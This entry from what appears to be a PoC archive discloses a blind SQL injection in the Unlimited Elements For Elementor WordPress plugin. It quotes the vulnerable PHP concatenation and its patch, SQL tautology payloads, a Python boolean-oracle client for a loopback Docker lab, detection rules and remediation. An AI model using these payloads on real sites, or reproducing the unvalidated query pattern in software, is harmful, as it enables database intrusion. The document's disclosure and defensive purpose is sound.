PoC Archive PoC Archive
CVE-2026-103355 category: web CVSS 9.3 (CRITICAL)
Patched

Unlimited Elements For Elementor — Unauthenticated Blind SQL Injection (CVE-2026-103355)

Published: 2026-11-25 • Researcher: Hassham1 (PoC repository; ikzero handle in the PoC/nuclei metadata); Patchstack (advisory and CNA)

Target software Unlimited Elements For Elementor (Free Widgets, Addons, Templates) — WordPress plugin (unlimited-elements-for-elementor)
Affected versions Up to and including 2.0.20; fixed in 2.0.21. The lab reproduces 2.0.20 as vulnerable and 2.0.21 as the patched negative control; versions ≤ 2.0.19 are affected per the advisory but were not individually tested upstream.
Status PoC
Severity Critical · CVSS 9.3
CVSS 9.3/10
Severity
Critical
CVE
CVE-2026-103355
Category
web
Affected product
Unlimited Elements For Elementor (Free Widgets, Addons, Templates) — WordPress plugin (unlimited-elements-for-elementor)
Affected versions
Up to and including 2.0.20; fixed in 2.0.21. The lab reproduces 2.0.20 as vulnerable and 2.0.21 as the patched negative control; versions ≤ 2.0.19 are affected per the advisory but were not individually tested upstream.
Disclosed
2026-11-25
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-10-04
Author / ResearcherHassham1 (PoC repository; ikzero handle in the PoC/nuclei metadata); Patchstack (advisory and CNA)
CVE / AdvisoryCVE-2026-103355
Categoryweb
SeverityCritical
CVSS Score9.3 (CVSSv3.1, per Patchstack/NVD record; full vector string not included in the worklist data — see references)
StatusPoC
TagsSQLi, blind-SQL-injection, WordPress, Elementor, Unlimited-Elements, unauthenticated, PHP, boolean-oracle, CWE-89, wp-plugin
RelatedN/A

Affected Target

FieldValue
Software / SystemUnlimited Elements For Elementor (Free Widgets, Addons, Templates) — WordPress plugin (unlimited-elements-for-elementor)
Versions AffectedUp to and including 2.0.20; fixed in 2.0.21. The lab reproduces 2.0.20 as vulnerable and 2.0.21 as the patched negative control; versions ≤ 2.0.19 are affected per the advisory but were not individually tested upstream.
Language / PlatformPHP (WordPress plugin); Python 3.10+ exploit client; Docker/Compose lab
Authentication RequiredNo (unauthenticated per Patchstack CVSS privilege requirement)
Network Access RequiredYes

Summary

The Unlimited Elements For Elementor plugin for WordPress takes the terms-listing direct children of selected terms identifiers from the widget settings and concatenates them straight into the terms query WHERE clause, so the stored identifier string is executed as SQL. The sink fires on the render path of any layout that contains the widget in that include mode, which the advisory classifies as unauthenticated and rates 9.3. The public PoC proves the injection with a read-only boolean oracle: a tautology payload renders every category in the term list and a falsity payload renders none. The vendor fix in 2.0.21 adds a digits-and-commas whitelist immediately before the concatenation, and the lab ships that patched release as a silent negative control.

Vulnerability Details

Root Cause

CWE-89. The uc_post_terms parameter processing copies the widget’s include_direct_children_of_selected_terms identifier array into UniteCreatorParamsProcessor::$arrIncludeDirectChildrenOfSelectedTermsIDs without validation, registers a terms_clauses filter, and then concatenates the array elements into the WHERE clause:

PHP
1
2
3
4
5
6
// provider/provider_params_processor.class.php:5147 + 5360 (2.0.20)
$arrIncludeDirectChildrenOfSelectedTermsIDs = UniteFunctionsUC::getVal(
    $value, $name."_include_direct_children_of_selected_terms" );
...
$this->arrIncludeDirectChildrenOfSelectedTermsIDs = $arrIncludeDirectChildrenOfSelectedTermsIDs;
add_filter( 'terms_clauses', array( $this, "getDirectChildrenOfSelectedTerms" ), 1, 1 );
PHP
1
2
3
// provider/provider_params_processor.class.php:5552 (2.0.20)
$termsIDs = implode( ', ', $this->arrIncludeDirectChildrenOfSelectedTermsIDs );
$clauses['where'] .= " AND tt.parent IN (" . $termsIDs . ")";

There is no prepare(), no intval(), and no array filtering — every element lands in the SQL verbatim. The 2.0.21 fix inserts the whitelist directly before the concatenation, and the upstream research notes it is the only SQLi change in the vendor diff:

PHP
1
2
3
4
// 2.0.21
$termsIDs = implode( ', ', $this->arrIncludeDirectChildrenOfSelectedTermsIDs );
UniteFunctionsUC::validateIDsList( $termsIDs, "parent terms id's" );   // digits + commas only
$clauses['where'] .= " AND tt.parent IN (" . $termsIDs . ")";

validateIDsList() throws Field parent terms id's allow only numbers and comas. on anything else.

Attack Vector

The query path observed upstream is:

Output
1
2
3
4
WP_Term_Query::get_terms
  <- UniteCreatorParamsProcessor::getWPTermsData (uc_post_terms param)
  <- UniteCreatorOutputWork::getAddonParams
  <- UniteCreatorElementorWidget::render (the_content on the builder page)

A terms-listing widget is configured with includeby = direct_children_of_selected_terms and the identifier array carrying the payload. Any visitor rendering that builder page causes get_terms() to run and the identifiers to be concatenated into AND tt.parent IN (...). The proof uses two pages whose stored identifiers are 999999) OR 1=1 -- and 999999) OR 1=2 -- ; the rendered term list is the blind boolean oracle. The upstream research deliberately does not claim request-side reachability of the identifier values: the lab provisions the payloads into the widget settings, which is exactly the value chain the 2.0.21 whitelist guards.

Impact

Arbitrary SQL execution inside the WordPress terms query, exercised here as a blind boolean oracle: an unauthenticated attacker who can reach a page rendered with the vulnerable widget mode can flip the injected predicate and read data from the WordPress database (the advisory rates confidentiality impact as high with CVSS 9.3). UNION, error-based and time-based extraction are trivial extensions of the same sink but are not included in the upstream PoC.

Environment / Lab Setup

Output
OS:          Linux x86_64 (Docker with Compose v2)
Target:      WordPress 7.1.2 (wordpress:7.1.2-php8.2-apache) + MySQL 8.0,
             Elementor 4.3.3, Unlimited Elements 2.0.20 (vulnerable) or
             2.0.21 (patched negative control)
Attacker:    Python 3.10+ (standard library only), same host or LAN
Tools:       Docker Compose v2, curl, Python 3, wp-cli (bundled cli service)

Setup Steps

Shell script
1
2
3
4
5
6
7
8
./lab verify                      # vulnerable must fire, patched must stay silent

./lab start vulnerable            # http://127.0.0.1:9489, fresh DB per start
./lab test                        # assert the oracle fires
./lab start patched               # 2.0.21 negative control
./lab test                        # assert silence
./lab status
./lab reset                       # remove containers, volumes, state

Proof of Concept

Step-by-Step Reproduction

  1. Start the vulnerable lab — ./lab start vulnerable builds the 2.0.20 stack, installs WordPress, Elementor and the plugin, seeds a category tree, and provisions the two oracle pages. The page IDs are written to .lab-state and printed (true page / false page).

    Shell script
    1
    2
    
    ./lab start vulnerable
    # [+] vulnerable lab ready at http://127.0.0.1:9489 (true page 9, false page 10)
  2. Render both oracle pages — the tautology page lists every category and the falsity page lists none; the term titles [LabParent] / [LabChild1..3] are the oracle.

    Shell script
    1
    2
    
    curl -s 'http://127.0.0.1:9489/?page_id=9'  | grep -o '\[Lab[A-Za-z0-9]*\]'
    curl -s 'http://127.0.0.1:9489/?page_id=10' | grep -o '\[Lab[A-Za-z0-9]*\]'
  3. Run the PoC — it fetches both pages and compares the rendered term counts; the non-loopback guard must be overridden explicitly for authorized remote targets.

    Shell script
    1
    2
    3
    
    python3 poc/poc_cve_2026_103355.py --url http://127.0.0.1:9489 \
        --page-true 9 --page-false 10
    # exit 0 = blind SQL injection confirmed, 1 = not observed, 2 = error
  4. Run the patched negative control — ./lab start patched and repeat; both payloads are rejected by validateIDsList and the oracle stays silent.

    Shell script
    1
    
    ./lab start patched && ./lab test && ./lab reset

Exploit Code

See poc/poc_cve_2026_103355.py for the full oracle client, provision/install.php for the lab widget/terms setup, and lab for the vulnerable/patched matrix driver.

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
import re, urllib.request

BASE = "http://127.0.0.1:9489"
TRUE_PAGE, FALSE_PAGE = 9, 10          # payloads "999999) OR 1=1 -- " / "999999) OR 1=2 -- "

def terms(page_id):
    html = urllib.request.urlopen(f"{BASE}/?page_id={page_id}").read().decode("utf-8", "replace")
    return len(re.findall(r"\[Lab(?:Child\d|Parent)\]", html))

t, f = terms(TRUE_PAGE), terms(FALSE_PAGE)
print("tautology:", t, "falsity:", f)     # vulnerable: >0 and 0 -> SQLi confirmed

The injected clause on the vulnerable build is:

SQL
1
... AND tt.parent IN (999999) OR 1=1 -- )

Expected Output

Vulnerable control (2.0.20):

Output
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
[*] target: http://127.0.0.1:9489
[*] categories rendered with tautology payload : 4
[*] categories rendered with falsity payload   : 0

[!!!] BLIND SQL INJECTION CONFIRMED
  stored  : uc_post_terms 'direct children of selected terms'
            identifiers reach terms_clauses unvalidated
  sink    : getDirectChildrenOfSelectedTerms() ->
            AND tt.parent IN (<identifiers>) raw concatenation
  oracle  : term list flips with the injected boolean
            (1=1 -> 4 terms, 1=2 -> 0 terms)
  impact  : blind boolean injection over the terms query on the
            render path; arbitrary SQL from the stored identifier.
RESULT: VULNERABLE CONTROL CONFIRMED

Patched control (2.0.21):

Output
1
2
3
4
5
6
[*] categories rendered with tautology payload : 0
[*] categories rendered with falsity payload   : 0

[=] both payloads rejected by the identifier whitelist
    (patched >= 2.0.21 validateIDsList behavior).
RESULT: PATCHED CONTROL CONFIRMED

Detection & Indicators of Compromise

  • WordPress access logs for builder/Elementor pages (/?page_id=<id>) returning 200 to unauthenticated clients, clustered with atypical volumes of the same page, especially from a single source probing the boolean differential.
  • Stored widget settings containing identifiers with SQL metacharacters (), -- , OR 1=1, OR 1=2, UNION, SLEEP() in _elementor_data or the addon library tables — the plugin’s identifiers should be digits and commas only.
  • MySQL general/audit log entries containing AND tt.parent IN ( followed by anything other than a numeric list, or IN (999999) OR.
  • WAF/IDS hits on URL- or body-encoded boolean payloads (%29+OR+1%3D1, OR 1=2 --) against WordPress builder pages.
  • On patched sites, plugin-side Field parent terms id's allow only numbers and comas. errors indicate an attempted or previously stored injection.
  • Version screen: wp-content/plugins/unlimited-elements-for-elementor/readme.txt with a Stable tag at or below 2.0.20 (the bundled nuclei template performs only this version check).

SIEM / IDS rule (example):

Output
1
2
3
alert http any any -> any any (msg:"CVE-2026-103355 Unlimited Elements terms SQLi payload"; \
  content:"OR 1=1 --"; http_uri; nocase; \
  content:"page_id="; http_uri; sid:9003355;)

Remediation

ActionDetail
PatchUpgrade Unlimited Elements For Elementor to 2.0.21 or later, which validates the direct-children identifiers with validateIDsList() (digits and commas only) before the terms_clauses concatenation.
WorkaroundRemove the terms-listing widget from layouts, or switch it out of the direct_children_of_selected_terms include mode, until the plugin is patched. Only trusted administrators should be able to edit widget settings on a vulnerable site.
Config HardeningAdd a WAF/reverse-proxy rule for SQL metacharacters in requests to Elementor builder pages, restrict who can publish Elementor layouts, keep WordPress/Elementor current, and alert on non-numeric values in stored *_include_direct_children_of_selected_terms settings.

References

Notes

Auto-ingested from https://github.com/Hassham1/CVE-2026-103355-unlimited-elements-sqli-poc on 2026-11-25.

Review verdict: this is a genuine exploit PoC, not a scanner. The repository contains a working blind-SQL-injection oracle (poc/poc_cve_2026_103355.py), a Docker lab that provisions the vulnerable widget settings, a 2.0.21 patched negative control, and a nuclei template that is a version screen only (the README says so explicitly; the behavioral oracle is done by the Python PoC). It was therefore ingested as Status PoC rather than skipped or marked Weaponized: the oracle demonstrates arbitrary SQL execution through the injected boolean but does not extract data, and the payloads are provisioned into the widget settings rather than injected through a request — the upstream research explicitly does not claim request-side reachability.

License: MIT (Copyright (c) 2026 ikzero), see LICENSE. No credentials, binaries or archives were copied; assets/ is created at runtime by the lab driver and is not part of this entry.

Limitations: the boolean differential depends on the terms-listing widget being rendered in the vulnerable include mode, and on pages being reachable; UNION/error/time-based extraction, request-side payload injection, and testing of versions <= 2.0.19 are not covered. The lab is loopback-bound and the PoC refuses non-loopback targets unless --allow-authorized-non-loopback is supplied. Nothing here was executed during ingestion; run it only against systems you own or are explicitly authorized to test.